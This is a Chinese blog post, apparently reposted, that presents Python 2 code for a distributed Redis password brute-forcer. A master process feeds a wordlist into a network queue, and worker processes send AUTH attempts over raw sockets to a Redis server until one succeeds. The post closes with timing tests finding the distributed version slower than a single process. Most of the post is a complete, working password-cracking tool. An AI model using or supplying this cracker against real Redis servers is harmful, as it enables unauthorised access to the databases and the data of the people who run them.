redis密码破解(Python使用multiprocessing分布式进程)

           前面redis密码破解都是在一台机器单进程运行的,于是想如果在多台机器分布式运行,速度会不会快点,用Python的multiprocessing模块的managers子模块写了个破解程序,代码如下:

          master端,代码如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time    : 18-12-26 下午6:10
# @Author  : Liping
# @Site    : 
# @File    : distributedRedisCrack.py
# @Software: PyCharm

import Queue,threading
import sys
from multiprocessing.managers import BaseManager

redisPass="redisPass.txt"

putQueue=Queue.Queue()
resultQueue=Queue.Queue()

class QueueManager(BaseManager):
    pass

# BaseManager类里面的register方法为类方法,所以能不实例化直接用类名调用。
QueueManager.register('get_task_queue', callable=lambda: putQueue)
QueueManager.register('get_result_queue', callable=lambda: resultQueue)
m=QueueManager(address=("",12345),authkey=b'123abc')
m.start()
task=m.get_task_queue()
result=m.get_result_queue()

def putDictPassword(passFile,taskQueue):
    with open(passFile,"r") as f:
        for i in f:
            taskQueue.put(i)
            # time.sleep(0.01)
# 引入线程目的是为了将读文件放入队列异步执行,不需要将全部密码文本读入队列后在进入下一步,因为正确密码可能在密码文件中间,获取正确破解结果后程序可以退出。
t = threading.Thread(target=putDictPassword,args=(redisPass,task))
t.setDaemon(True)
t.start()

while True:
    try:
        r=result.get(timeout=30)
        if r[0]=="cracked":
            print "redis password have been cracked,the pass is: %s" %r[1]
            m.shutdown()
            sys.exit(0)
    except Queue.Empty:
        print "password not in the redisPass"
        break

  slave的worker代码如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Time    : 18-12-29 下午8:15
# @Site    : 
# @File    : distributedRedisCrackSlave.py
# @Software: PyCharm

import Queue
import sys,socket
from multiprocessing.managers import BaseManager

redisHost="192.168.36.3"
redisPort=6379
server_addr = '192.168.36.1'
class QueueManager(BaseManager):
    pass

QueueManager.register('get_task_queue')
QueueManager.register('get_result_queue')
m=QueueManager(address=(server_addr,12345),authkey=b'123abc')
m.connect()
task=m.get_task_queue()
result=m.get_result_queue()

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect((redisHost,redisPort))

# while not task.empty():  #不能用此判断slave端进程退出,因为slave队列接收速度可能超过master发送端的发送速度,造成slave端队列只接收了部分数据就退出了。
while True:
    try:
        key=task.get(timeout=20)
        print key
        s.send("auth %s 
" % (key))
        authResult = s.recv(1024)
        if '+OK' in authResult:
            result.put(("cracked",key))
            s.close()
            sys.exit(0)
        else:
            result.put(("invalid password"))
    except Queue.Empty:
        print "no more key have get,quit"
        break

测试速度如下:

1. 生成100万数字,将正确密码写入密码文本最后一行。

2   测试原来单进程模式,利用socket模块的破解时间,100万行密码文本,速度30s左右。

3.分布式进程破解,利用2个slave端进程破解,速度如下:

4.分布式进程破解,利用3个slave端进程破解,速度如下:

    如上图,3个slave破解进程,redis服务端有3个tcp连接。

5.分布式进程破解,利用6个slave端进程破解,速度如下:

综合上面测试结果,分布式进程模式下,速度还远不如单进程模式;增加slave端worker进程的情况下,速度没有提升,甚至还有下降,说明分布式进程模式下,瓶颈在master和slave端队列的发送接收的开销。单进程模式下,进程读取一行文本到内存立马会用此文本用socket模块验证;分布式进程模式下,master端进程读取文本放入队列,slave端进程读取队列文本在用socket模块验证,中间有大量的序列化反序列化,网络开销等。

原文地址:https://www.cnblogs.com/360linux/p/13062069.html